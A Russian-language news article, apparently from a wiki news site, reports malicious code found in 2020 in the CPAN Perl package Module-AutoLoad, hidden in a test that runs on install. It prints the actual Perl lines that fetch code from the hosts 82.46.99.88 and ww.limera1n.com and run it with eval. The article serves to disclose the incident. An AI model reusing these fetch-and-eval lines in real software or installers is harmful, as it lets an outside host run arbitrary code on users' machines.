В Perl-пакете Module-AutoLoad выявлен вредоносный код
29 июля 2020 года
В распространяемом через каталог CPAN Perl-пакете Module-AutoLoad (Архивная копия от 29 июля 2020 на Wayback Machine), предназначенном для автоматической загрузки CPAN-модулей на лету, выявлен вредоносный код. Вредоносная вставка была найдена в коде теста 05_rcx.t (Архивная копия от 29 июля 2020 на Wayback Machine), который поставляется с 2011 года. Примечательно, что вопросы о загрузке сомнительного кода возникали на Stackoverflow ещё в 2016 году.
Вредоносная активность сводится к попытке загрузки и выполнения кода со стороннего сервера (http://r.cx:1/(недоступная ссылка)) в процессе выполнения тестового набора, запускаемого при установке модуля. Предполагается, что изначально загружаемый с внешнего сервера код не был вредоносным, но теперь запрос перенаправляется на домен ww.limera1n.com, отдающий свою порцию кода для выполнения.
Для организации загрузки в файле 05_rcx.t (Архивная копия от 29 июля 2020 на Wayback Machine) используется следующий код: my $prog = __FILE__; $prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x; my $try = `$^X $prog`;
Указанный код приводит к выполнению скрипта ../contrib/RCX.pl(недоступная ссылка), содержимое которого сводится к строке: use lib do{eval<$b>&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.":1"};
Данный скрипт загружает запутанный(недоступная ссылка) при помощи сервиса perlobfuscator.com код с внешнего хоста r.cx (82.46.99.88 = "R.cX") и выполняет его в блоке eval. $ perl -MIO::Socket -e'$b=new IO::Socket::INET 82.46.99.88.":1"; print <$b>;' eval unpack u=q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE....}
После распаковки в итоге выполняется следующий код(недоступная ссылка): print{$b=new IO::Socket::INET"ww.limera1n.com:80"}"GET /iJailBreak";evalor return warn$@while$b;1
В настоящее время проблемный пакет удалён из хранилища PAUSE (Perl Authors Upload Server), а учётная запись автора модуля заблокирована. При этом модуль пока остаётся доступен(недоступная ссылка) в архиве MetaCPAN и может быть напрямую установлен с MetaCPAN при помощи некоторых утилит, таких как cpanminus. Отмечается, что пакет не был широко распространён.
Интересно, что к обсуждению подключился и автор модуля, который опроверг информацию о том, что вредоносный код подставлен после взлома его сайта "r.cx" и пояснил, что он просто так развлекался, а perlobfuscator.com использовал не для скрытия чего-то, а для сокращения размера кода и упрощения его копирования через буфер обмена. Выбор названия функции "botstrap" пояснён тем, что это слово "звучит как bot и короче, чем bootstrap". Автор модуля также заверил, что выявленные манипуляции не совершают вредоносных действий, а лишь демонстрируют загрузку и выполнение кода по TCP.
Источники
правитьЛюбой участник может оформить статью: добавить иллюстрации, викифицировать, заполнить шаблоны и добавить категории.
Любой редактор может снять этот шаблон после оформления и проверки.
Комментарии
Если вы хотите сообщить о проблеме в статье (например, фактическая ошибка и т. д.), пожалуйста, используйте обычную страницу обсуждения.
Комментарии на этой странице могут не соответствовать политике нейтральной точки зрения, однако, пожалуйста, придерживайтесь темы и попытайтесь избежать брани, оскорбительных или подстрекательных комментариев. Попробуйте написать такие комментарии, которые заставят задуматься, будут проницательными или спорными. Цивилизованная дискуссия и вежливый спор делают страницу комментариев дружелюбным местом. Пожалуйста, подумайте об этом.
Несколько советов по оформлению реплик:
- Новые темы начинайте, пожалуйста, снизу.
- Используйте символ звёздочки «*» в начале строки для начала новой темы. Далее пишите свой текст.
- Для ответа в начале строки укажите на одну звёздочку больше, чем в предыдущей реплике.
- Пожалуйста, подписывайте все свои сообщения, используя четыре тильды (~~~~). При предварительном просмотре и сохранении они будут автоматически заменены на ваше имя и дату.
Обращаем ваше внимание, что комментарии не предназначены для размещения ссылок на внешние ресурсы не по теме статьи, которые могут быть удалены или скрыты любым участником. Тем не менее, на странице комментариев вы можете сообщить о статьях в СМИ, которые ссылаются на эту заметку, а также о её обсуждении на сторонних ресурсах.